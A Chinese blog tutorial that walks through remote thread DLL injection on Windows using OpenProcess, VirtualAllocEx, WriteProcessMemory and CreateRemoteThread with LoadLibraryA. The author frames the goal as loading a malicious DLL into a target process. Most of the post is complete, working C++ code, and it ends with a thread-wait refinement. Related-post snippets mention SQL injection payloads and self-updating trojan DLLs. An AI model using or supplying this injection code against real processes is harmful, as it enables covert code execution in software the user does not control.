利用CreateRemoteThread( ) 实现远程线程注入

前言

首先想法是 强制创建一个目标进程的线程,把我自己的恶意DLL加载进去 被注入的DLL拥有目标进程内存的访问权限,所以我们可以通过该

向某个进程注入DLL时的方法主要有以下三种:

创建远程线程(CreateRemoteThread() API) • 使用注册表(AppInit_DLLs值) • 消息钩取(SetWindowsHookEx())

小试牛刀

目前尝试第一种: 1. 使用VirtualAllocEx()在目标进程的地址空间中创建一块我们DLL所在路径长度的内存空间。 2. 使用WriteProcessMemory()将DLL路径写入分配的内存。 3. 一旦DLL路径写入内存中,再使用CreateRemoteThread()(或者其他无正式说明的功能),它再调用LoadLibrary函数将DLL注入目标进程中。

代码:

  1. 使用VirtualAllocEx()在目标进程的地址空间中创建一块我们DLL所在路径长度的内存空间。
1void process(int pid, char* path){ 2//获取进程的句柄 如果成功返回程序句柄,失败返回NULL 3HANDLE processHANDLE = OpenProcess(PROCESS_ALL_ACCESS, false,pid); 4//申请一块内存给DLL路径 5LPVOID pReturnAddress = VirtualAllocEx(processHANDLE, NULL, strlen(path) + 1, MEM_COMMIT, PAGE_READWRITE);
  1. 然后使用WriteProcessMemory()把我们要载如的DLL路径写入到刚刚创建的DLL内存空间中
1//写入路径到上一行代码申请的内存中去 2WriteProcessMemory(processHANDLE,pReturnAddress,path,strlen(path)+1,NULL);
  1. 一旦DLL路径写入内存中,再使用CreateRemoteThread(或者其他无正式说明的功能),它再调用LoadLibrary()函数将我们的DLL注入目标进程中。
1//获取函数模块句柄 2HMODULE hmodule = GetModuleHandleA("KERNEL32.dll"); 3//获取DLL载入函数的地址 4LPTHREAD_START_ROUTINE lpStartAddress =(LPTHREAD_START_ROUTINE)GetProcAddress(hmodule,"LoadLibraryA"); 5/* CreateRemoteThread() 6hProcess:要在其中创建线程的进程的句柄 7lpThreadAttributes:指向SECURITY_ATTRIBUTES结构的指针,一般为NULL 8dwStackSize:一般为0 9lpStartAddress:最重要的一个参数,表示远程进程中线程的起始地址 10lpParameter:指向要传递给线程函数的变量的指针。 11dwCreationFlags:控制线程创建的标志。 12*/ 13CreateRemoteThread(processHANDLE,NULL,0,lpStartAddress,pReturnAddress,0,NULL);

第四个参数lpParameter

指向要传递给线程要执行的函数的变量(参数—)路径 也就是dll的路径)的指针。 整体代码如下:

1 /* 本程序是利用Windows API 实现远程线程注入 2021.4.19/20:24 */ 2#include <iostream> 3#include <windows.h> 4 5void process(int pid, char* path){ 6 //获取进程的句柄 如果成功返回程序句柄,失败返回NULL 7 HANDLE processHANDLE = OpenProcess(PROCESS_ALL_ACCESS, false,pid); 8 //申请一块内存给DLL路径 9 LPVOID pReturnAddress = VirtualAllocEx(processHANDLE, NULL, strlen(path) + 1, MEM_COMMIT, PAGE_READWRITE); 10 //写入路径到上一行代码申请的内存中去 11 WriteProcessMemory(processHANDLE,pReturnAddress,path,strlen(path)+1,NULL); 12 //获取函数模块句柄 13 HMODULE hmodule = GetModuleHandleA("KERNEL32.dll"); 14 //获取DLL载入函数的地址 15 LPTHREAD_START_ROUTINE lpStartAddress =(LPTHREAD_START_ROUTINE)GetProcAddress(hmodule,"LoadLibraryA"); 16 17 /* CreateRemoteThread() 18 hProcess:要在其中创建线程的进程的句柄 19 lpThreadAttributes:指向SECURITY_ATTRIBUTES结构的指针,一般为NULL 20 dwStackSize:一般为0 21 lpStartAddress:最重要的一个参数,表示远程进程中线程的起始地址 22 lpParameter:指向要传递给线程函数的变量的指针。 23 dwCreationFlags:控制线程创建的标志。 24 */ 25 CreateRemoteThread(processHANDLE,NULL,0,lpStartAddress,pReturnAddress,0,NULL); 26} 27int main() { 28 29 const char *path ="C:\\Users\\86132\\Desktop\\libDLL.dll"; //这里做了一个强制类型转换 30 process(11620,(char*)path); //第一个参数是被注入进程的PID,第二个则是要注入dll的路径 31 return 0; 32} 33

远程线程注入 优化

在多线程的情况下,有时候我们希望等待某一个线程完成后,再让程序继续调用其他线程 防止程序线程的阻塞

基于上面的注入代码做一个优化 我们利用**GreateRemoteTread()**函数,如果成功会返回线程的句柄

接下里介绍这个:

WaitForSingleObject函数

等待直到指定的对象处于发信号状态或超时间隔过去。

参数: hHandle 对象的句柄,必须具有SYNCHRONIZE访问权限

dwMilliseconds 超时间隔(以毫秒为单位)。 如果指定了非零值,则函数将等待,直到发出信号通知对象或间隔过去为止。 如果dwMilliseconds为零,则如果未用信号通知对象,则函数不会进入等待状态;否则,函数将进入等待状态。它总是立即返回。 如果dwMilliseconds为INFINITE,则仅在发出对象信号时该函数才会返回。也就是有多久等多久

1//创建远程线程 并获取句柄 hThread 2HANDLE hThread = CreateRemoteThread(processHANDLE,NULL,0,lpStartAddress,pReturnAddress,0,NULL); 3//等待线程事件 4WaitForSingleObject(hThread,2000);

这里等待2秒 还有一个小细节,利用closehandle()函数关闭打开的对象句柄。防止内存泄漏

1//关掉句柄,防止内存泄漏 2CloseHandle(hmodule); 3CloseHandle(processHANDLE);
点赞
收藏

评论区

加载中...

相关推荐

MySQL:[Err] 1292 - Incorrect datetime value: ‘0000-00-00 00:00:00‘ for column ‘CREATE_TIME‘ at row 1

文章目录问题用navicat导入数据时,报错:原因这是因为当前的MySQL不支持datetime为0的情况。解决修改sql\mode:sql\mode:SQLMode定义了MySQL应支持的SQL语法、数据校验等,这样可以更容易地在不同的环境中使用MySQL。全局s

Oracle 分组与拼接字符串同时使用

SELECTT.,ROWNUMIDFROM(SELECTT.EMPLID,T.NAME,T.BU,T.REALDEPART,T.FORMATDATE,SUM(T.S0)S0,MAX(UPDATETIME)CREATETIME,LISTAGG(TOCHAR(

皕杰报表之UUID

​在我们用皕杰报表工具设计填报报表时,如何在新增行里自动增加id呢?能新增整数排序id吗?目前可以在新增行里自动增加id,但只能用uuid函数增加UUID编码,不能新增整数排序id。uuid函数说明:获取一个UUID,可以在填报表中用来创建数据ID语法:uuid()或uuid(sep)参数说明:sep布尔值,生成的uuid中是否包含分隔符'',缺省为

手写Java HashMap源码

HashMap的使用教程HashMap的使用教程HashMap的使用教程HashMap的使用教程HashMap的使用教程22

sql注入

反引号是个比较特别的字符,下面记录下怎么利用0x00SQL注入反引号可利用在分隔符及注释作用,不过使用范围只于表名、数据库名、字段名、起别名这些场景,下面具体说下1)表名payload:select\from\users\whereuser\_id1limit0,1;!(https://o

干货:木马DLL实现热更新的骚批操作

以前开发木马有个需求:木马是一个DLL文件,DLL需要注入到某个进程常驻,该DLL具备自我升级能力,当发现新的可用版本时,立即Free自己,加载新的。下面是我的一个实现方案:开启一个监听线程,从网络上拉新的可用版本,下载放到一个临时目录,如果发现需要升级,则立即FreeLibrary自身,然后执行更新过程。由于FreeLibrary之后当前模块的内存区域已经